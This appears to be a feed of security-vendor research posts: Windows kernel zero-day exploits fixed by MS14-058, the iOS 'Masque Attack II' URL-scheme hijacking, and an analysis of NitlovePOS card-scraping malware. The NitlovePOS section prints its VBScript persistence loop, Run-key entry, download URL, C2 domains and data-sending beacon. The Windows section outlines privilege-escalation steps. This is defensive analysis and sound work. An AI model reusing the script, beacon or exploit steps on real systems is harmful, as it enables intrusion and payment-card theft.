Microsoft commented: “On October 14, 2014, Microsoft released MS14-058 to fully address these vulnerabilities and help protect customers. We appreciate FireEye Labs using Coordinated Vulnerability Disclosure to assist us in working toward a fix in a collaborative manner that helps keep customers safe.”

In the case of CVE-2014-4148, the attackers exploited a vulnerability in the Microsoft Windows TrueType Font (TTF) processing subsystem, using a Microsoft Office document to embed and deliver a malicious TTF to an international organization. Since the embedded TTF is processed in kernel-mode, successful exploitation granted the attackers kernel-mode access. Though the TTF is delivered in a Microsoft Office document, the vulnerability does not reside within Microsoft Office.

CVE-2014-4148 impacted both 32-bit and 64-bit Windows operating systems shown in MS14-058, though the attacks only targeted 32-bit systems. The malware contained within the exploit has specific functions adapted to the following operating system platform categories:

  • Windows 8.1/Windows Server 2012 R2
  • Windows 8/Windows Server 2012
  • Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1)
  • Windows XP Service Pack 3

CVE-2014-4113 rendered Microsoft Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, and Windows Server 2008/R2 vulnerable to a local Elevation of Privilege (EoP) attack. This means that the vulnerability cannot be used on its own to compromise a customer’s security. An attacker would first need to gain access to a remote system running any of the above operating systems before they could execute code within the context of the Windows Kernel. Investigation by FireEye Labs has revealed evidence that attackers have likely used variations of these exploits for a while. Windows 8 and Windows Server 2012 and later do not have these same vulnerabilities.

Information on the companies affected, as well as threat actors, is not available at this time. We have no evidence of these exploits being used by the same actors. Instead, we have only observed each exploit being used separately, in unrelated attacks.

 

About CVE-2014-4148

 

 

Mitigation

 

Microsoft has released security update MS14-058 that addresses CVE-2014-4148.

Since TTF exploits target the underlying operating system, the vulnerability can be exploited through multiple attack vectors, including web pages. In the past, exploit kit authors have converted a similar exploit (CVE-2011-3402) for use in browser-based attacks. More information about this scenario is available under Microsoft’s response to CVE-2011-3402: MS11-087.

 

Details

 

This TTF exploit is packaged within a Microsoft Office file. Upon opening the file, the font will exploit a vulnerability in the Windows TTF subsystem located within the win32k.sys kernel-mode driver.

The attacker’s shellcode resides within the Font Program (fpgm) section of the TTF. The font program begins with a short sequence of instructions that quickly return. The remainder of the font program section is treated as unreachable code for the purposes of the font program and is ignored when initially parsing the font.

During exploitation, the attacker’s shellcode uses Asynchronous Procedure Calls (APC) to inject the second stage from kernel-mode into the user-mode process winlogon.exe (in XP) or lsass.exe (in other OSes). From the injected process, the attacker writes and executes a third stage (executable).

The third stage decodes an embedded DLL to, and runs it from, memory. This DLL is a full-featured remote access tool that connects back to the attacker.

Plenty of evidence supports the attacker’s high level of sophistication. Beyond the fact that the attack is zero-day kernel-level exploit, the attack also showed the following:

  • a usable hard-coded area of kernel memory is used like a mutex to avoid running the shellcode multiple times
  • the exploit has an expiration date: if the current time is after October 31, 2014, the exploit shellcode will exit silently
  • the shellcode has implementation customizations for four different types of OS platforms/service pack levels, suggesting that testing for multiple OS platforms was conducted
  • the dropped malware individually decodes each string when that string is used to prevent analysis
  • the dropped malware is specifically customized for the targeted environment
  • the dropped remote access capability is full-featured and customized: it does not rely on generally available implementations (like Poison Ivy)
  • the dropped remote access capability is a loader that decrypts the actual DLL remote access capability into memory and never writes the decrypted remote access capability to disk

 

About CVE-2014-4113

 

 

Mitigation

 

Microsoft has released security update MS14-058 that addresses this vulnerability.

 

Vulnerability and Exploit Details

 

The 32-bit exploit triggers an out-of-bounds memory access that dereferences offsets from a high memory address, and inadvertently wraps into the null page. In user-mode, memory dereferences within the null page are generally assumed to be non-exploitable. Since the null page is usually not mapped – the exception being 16-bit legacy applications emulated by ntvdm.exe--null pointer dereferences will simply crash the running process. In contrast, memory dereferences within the null page in the kernel are commonly exploited because the attacker can first map the null page from user-mode, as is the case with this exploits. The steps taken for successful 32-bit exploitation are:

 

     

  1. Map the null page:

     

     

       

    1. ntdll!ZwAllocateVirtualMemory(…,BaseAddress=0x1, …)
    2.  

     

     

  2. Build a malformed win32k!tagWND structure at the null page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode

     

     

       

    1. Callback overwrites EPROCESS.Token to elevate privileges
    2.  

     

     

  5. Spawns a child process that inherits the elevated access token
  6.  

 

32-bit Windows 8 and later users are not affected by this exploit. The Windows 8 Null Page protection prohibits user-mode processes from mapping the null page and causes the exploits to fail.

In the 64-bit version of the exploit, dereferencing offsets from a high 32-bit memory address do not wrap, as it is well within the addressable memory range for a 64-bit user-mode process. As such, the Null Page protection implemented in Windows versions 7 (after MS13-031) and later does not apply. The steps taken by the 64-bit exploit variants are:

 

     

  1. Map memory page:

     

     

       

    1. ntdll!ZwAllocateVirtualMemory(…)
    2.  

     

     

  2. Build a malformed win32k!tagWND structure at the mapped page such that it is properly validated in the kernel
  3. Trigger vulnerability
  4. Attacker’s callback in win32k!tagWND.lpfnWndProc executes in kernel-mode

     

     

       

    1. Callback overwrites EPROCESS.Token to elevate privileges
    2.  

     

     

  5. Spawns a child process that inherits the elevated access token
  6.  

 

64-bit Windows 8 and later users are not affected by this exploit. Supervisor Mode Execution Prevention (SMEP) blocks the attacker’s user-mode callback from executing within kernel-mode and causes the exploits to fail.

 

Exploits Tool History

 

The exploits are implemented as a command line tool that accepts a single command line argument – a shell command to execute with SYSTEM privileges. This tool appears to be an updated version of an earlier tool. The earlier tool exploited CVE-2011-1249, and displays the following usage message to stdout when run:

 

Usage:system_exp.exe cmd

 

 

Windows Kernel Local Privilege Exploits

 

The vast majority of samples of the earlier tool have compile dates in December 2009.  Only two samples were discovered with compile dates in March 2011. Although the two samples exploit the same CVE, they carry a slightly modified usage message of:

 

Usage:local.exe cmd

 

 

Windows local Exploits

 

The most recent version of the tool, which implements CVE-2014-4113, eliminates all usage messages.

The tool appears to have gone through at least three iterations over time. The initial tool and exploits is believed to have had limited availability, and may have been employed by a handful of distinct attack groups. As the exploited vulnerability was remediated, someone with access to the tool modified it to use a newer exploit when one became available. These two newer versions likely did not achieve the widespread distribution that the original tool/exploits did and may have been retained privately, not necessarily even by the same actors.

We would like to thank Barry Vengerik, Joshua Homan, Steve Davis, Ned Moran, Corbin Souffrant, Xiaobo Chen for their assistance on this research.

iOS Masque Attack Revived: Bypassing Prompt for Trust and App URL Scheme Hijacking

By: Hui Xue
19 February 2015 at 19:00

In November of last year, we uncovered a major flaw in iOS we dubbed “Masque Attack” that allowed for malicious apps to replace existing, legitimate ones on an iOS device via SMS, email, or web browsing. In total, we have notified Apple of five security issues related to four kinds of Masque Attacks. Today, we are sharing Masque Attack II in the series – part of which has been fixed in the recent iOS 8.1.3 security content update [2].

Masque Attack II includes bypassing iOS prompt for trust and iOS URL scheme hijacking. iOS 8.1.3 fixed the first part whereas the iOS URL scheme hijacking is still present.

iOS app URL scheme “lets you communicate with other apps through a protocol that you define.” [1] By deliberately defining the same URL schemes used by other apps, a malicious app can still hijack the communications towards those apps and mount phishing attacks to steal login credentials. Even worse than the first Masque Attack [3], attackers might be able to conduct Masque Attack II through an app in the App Store. We describe these two parts of Masque Attack II in the following sections.

Bypassing Prompt for Trust

When the user clicks to open an enterprise-signed app for the first time, iOS asks whether the user trusts the signing party. The app won’t launch unless the user chooses “Trust”.  Apple suggested defending against Masque Attack by the aid of this “Don’t Trust” prompt [8]. We notified Apple that this was inadequate.

We find that when calling an iOS URL scheme, iOS launches the enterprise-signed app registered to handle the URL scheme without prompting for trust. It doesn’t matter whether the user has launched that enterprise-signed app before. Even if the user has always clicked “Don’t Trust”, iOS still launches that enterprise-signed app directly upon calling its URL scheme. In other words, when the user clicks on a link in SMS, iOS Mail or Google Inbox, iOS launches the target enterprise-signed app without asking for user’s “Trust” or even ignores user’s “Don’t Trust”. An attacker can leverage this issue to launch an app containing a Masque Attack.

By crafting and distributing an enterprise-signed malware that registers app URL schemes identical to the ones used by legitimate popular apps, an attacker may hijack legitimate apps’ URL schemes and mimic their UI to carry out phishing attacks, e.g. stealing the login credentials. iOS doesn’t protect users from this attack because it doesn’t prompt for trust to the user when launching such an enterprise-signed malware for the first time through app URL scheme. In Demo Video 1, we explain this issue with concrete examples.

We’ve also found other approaches to bypass “Don’t Trust” protection through iOS springboard. We confirmed these problems on iOS 7.1.2, 8.1.1, 8.1.2 and 8.2 beta. Recently Apple fixed these issues and acknowledged our findings in CVE-2014-4494 in the iOS 8.1.3 security content [2]. As measured by the App Store on 2 Feb 2015 [4], however, 28% devices use iOS version 7 or lower, which are still vulnerable. Of the 72% iOS 8 devices, some are also vulnerable given that iOS 8.1.3 came out in late January 2015. We encourage users to upgrade their iOS devices to the latest version as soon as possible.

NitlovePOS: Another New POS Malware

23 May 2015 at 18:05

There has been a proliferation of malware specifically designed to extract payment card information from Point-of-Sale (POS) systems over the last two years. In 2015, there have already been a variety of new POS malware identified including a new Alina variant, FighterPOS and Punkey. During our research into a widespread spam campaign, we discovered yet another POS malware that we’ve named NitlovePOS.

The NitlovePOS malware can capture and ex-filtrate track one and track two payment card data by scanning the running processes of a compromised machine. It then sends this data to a webserver using SSL.

We believe the cybercriminals assess the hosts compromised via indiscriminate spam campaigns and instruct specific victims to download the POS malware.

Propagation

We have been monitoring an indiscriminate spam campaign that started on Wednesday, May 20, 2015.  The spam emails referred to possible employment opportunities and purported to have a resume attached. The “From” email addresses were spoofed Yahoo! Mail accounts and contained the following “Subject” lines:

    Subject: Any Jobs?

    Subject: Any openings?

    Subject: Internship

    Subject: Internship questions

    Subject: Internships?

    Subject: Job Posting

    Subject: Job questions

    Subject: My Resume

    Subject: Openings?

The email came with an attachment named CV_[4 numbers].doc or My_Resume_[4 numbers].doc, which is embedded with a malicious macro. To trick the recipient into enabling the malicious macro, the document claims to be a “protected document.”

If enabled, the malicious macro will download and execute a malicious executable from 80.242.123.155/exe/dro.exe. The cybercriminals behind this operation have been updating the payload. So far, we have observed:

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

These payloads beacon to the same server from which they are downloaded and receive instructions to download additional malware hosted on this server. This server contains a wide variety of malware:

    6545d2528460884b24bf6d53b721bf9e  5dro.exe

    e339fce54e2ff6e9bd3a5c9fe6a214ea  AndroSpread.exe

    9e208e9d516f27fd95e8d165bd7911e8  AndroSpread.exe

    abc69e0d444536e41016754cfee3ff90  dr2o.exe

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

    c8b0769eb21bb103b8fbda8ddaea2806  jews2.exe

    4d877072fd81b5b18c2c585f5a58a56e  load33.exe

    9c6398de0101e6b3811cf35de6fc7b79  load.exe

    ac8358ce51bbc7f7515e656316e23f8d  Pony.exe

    3309274e139157762b5708998d00cee0  Pony.exe

    b3962f61a4819593233aa5893421c4d1  pos.exe

    6cdd93dcb1c54a4e2b036d2e13b51216  pos.exe

We focused on the “pos.exe” malware and suspected that it maybe targeted Point of Sale machines. We speculate that once the attackers have identified a potentially interesting host form among their victims, they can then instruct the victim to download the POS malware. While we have observed many downloads of the various EXE’s hosed on that server, we have only observed three downloads of “pos.exe”.

Technical Analysis

We analyzed the “pos.exe” (6cdd93dcb1c54a4e2b036d2e13b51216) binary found on the 80.242.123.155 server. (A new version of “pos.exe” (b3962f61a4819593233aa5893421c4d1) was uploaded on May 22, 2015 that has exactly the same malicious behavior but with different file structure.)

The binary itself is named “TAPIBrowser” and was created on May 20, 2015.

    File Name                       : pos.exe

    File Size                       : 141 kB

    MD5: 6cdd93dcb1c54a4e2b036d2e13b51216

    File Type                       : Win32 EXE

    Machine Type                    : Intel 386 or later, and compatibles

    Time Stamp                      : 2015:05:20 09:02:54-07:00

    PE Type                         : PE32

    File Description                : TAPIBrowser MFC Application

    File Version                    : 1, 0, 0, 1

    Internal Name                   : TAPIBrowser

    Legal Copyright                 : Copyright (C) 2000

    Legal Trademarks                :

    Original Filename               : TAPIBrowser.EXE

    Private Build                   :

    Product Name                    : TAPIBrowser Application

    Product Version                 : 1, 0, 0, 1:

The structure of the file is awkward; it only contains three sections: .rdata, .hidata and .rsrc and the entry point located inside .hidata:

When executed, it will copy itself to disk using a well-known hiding technique via NTFS Alternate Data Streams (ADS) as:

    ~\Local Settings\Temp:defrag.scr

Then will create a vbs script and save it to disk, again using ADS:

    ~\Local Settings\Temp:defrag.vbs

By doing this, the files are not visible in the file system and therefore are more difficult to locate and detect.

Once the malware is running, the “defrag.vbs” script monitors for attempts to delete the malicious process via InstanceDeletion Event; it will re-spawn the malware if the process is terminated. Here is the code contained within “defrag.vbs”:

Set f=CreateObject("Scripting.FileSystemObject")

Set W=CreateObject("WScript.Shell")

Do While                      

GetObject("winmgmts:Win32_Process").Create(W.ExpandEnvironmentStrings("""%TMP%:Defrag.scr""     -"),n,n,p)=0

GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessID="&p).NextEvent

if(f.FileExists(WScript.ScriptFullName)=false)then

W.Run(W.ExpandEnvironmentStrings("cmd /C /D type nul > %TMP%:Defrag.scr")), 0, true

Exit Do

End If

Loop

The malware ensures that it will run after every reboot by adding itself to the Run registry key:

    \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\"Defrag" = wscript "C:\Users\ADMINI~1\AppData\Local\Temp:defrag.vbs"

NitlovePOS expects to be run with the “-“ sign as argument; otherwise it won’t perform any malicious actions. This technique can help bypass some methods of detection, particularly those that leverage automation. Here is an example of how the malware is executed:

    \LOCALS~1\Temp:Defrag.scr" -

If the right argument is provided, NitlovePOS will decode itself in memory and start searching for payment card data. If it is not successful, NitlovePOS will sleep for five minutes and restart the searching effort.

NitlovePOS has three main threads:

    Thread 1:  SSL C2 Communications

    Thread 2: MailSlot monitoring waiting for CC.

    Thread 3: Memory Scrapping

Thread 1:  C2 Communications

NitlovePOS is configured to connect to one of three hardcoded C2 servers:

    systeminfou48[.]ru

    infofinaciale8h[.]ru

    helpdesk7r[.]ru

All three of these domains resolve to the same IP address: 146.185.221.31. This IP address is assigned to a network located in St. Petersburg, Russia.

As soon as NitlovePOS starts running on the compromised system, it will initiate a callback via SSL:

    POST /derpos/gateway.php HTTP/1.1

    User-Agent: nit_love<GUID>

    Host: systeminfou48.ru

    Content-Length: 41

    Connection: Keep-Alive

    Cache-Control: no-cache

    Pragma: no-cache

 

    F.r.HWAWAWAWA

    <computer name>

    <OS Version>

    Y

The User-Agent header contains a hardcoded string “nit_love” and the Machine GUID, which is not necessarily unique but can be used as an identifier by the cybercriminals. The string “HWAWAWAWA” is hardcoded and may be a unique campaign identifier; the “F.r.” is calculated per infected host.

Thread 2: MailSlot monitoring waiting for payment card data

A mailslot is basically a shared range of memory that can be used to store data; the process creating the mailslot acts as the server and the clients can be other hosts on the same network, local processes on the machine, or local threads in the same process.

NitlovePOS uses this feature to store payment card information; the mailslot name that is created comes as a hardcoded string in the binary (once de-obfuscated);

    "\\.\mailslot\95d292040d8c4e31ac54a93ace198142"

Once the mailslot is created, an infinite loop will keep querying the allocated space.

Thread 3: Memory Scrapping

NitlovePOS scans running processes for payment data and but will skip System and “System Idle Process.” It will try to match track 1 or track 2 data and, if found, will write the data into the mailslot created by Thread 2. This information is then sent via POST it to the C2 using SSL, which makes network-level detection more difficult.

Possible Control Panel

During our research we observed what appears to be a test control panel on a different, but probably related, server that matches with NitlovePOS. This panel is called “nitbot,” which is similar to the “nit_love” string found in the binary and was located in a directory called “derpmo” which is similar to the “derpos” used in this case.

 

The information contained in the NitlovePOS beacon matches the fields that are displayed in the Nitbot control panel. These include the machines GIUD that is transmitted in the User-Agent header as well as an identifier “HWAWAWAWA,” which aligns with the “group name” that can be used by the cybercriminals to track various campaigns.

The control panel contains a view that lists the “tracks,” or stolen payment card data. This indicates that this panel is for malware capable of stealing data from POS machines that matches up with the capability of the NitlovePOS malware.

Conclusion

Even cybercriminals engaged in indiscriminate spam operations have POS malware available and can deploy it to s subset of their victims. Due to the widespread use of POS malware, they are eventually discovered and detection increases. However, this is followed by the development of new POS with very similar functionality. Despite the similarity, the detection levels for new variants are initially quite low. This gives the cybercriminals a window of opportunity to exploit the use of a new variant.

We expect that new versions of functionally similar POS malware will continue to emerge to meet the demand of the cybercrime marketplace.

❌
❌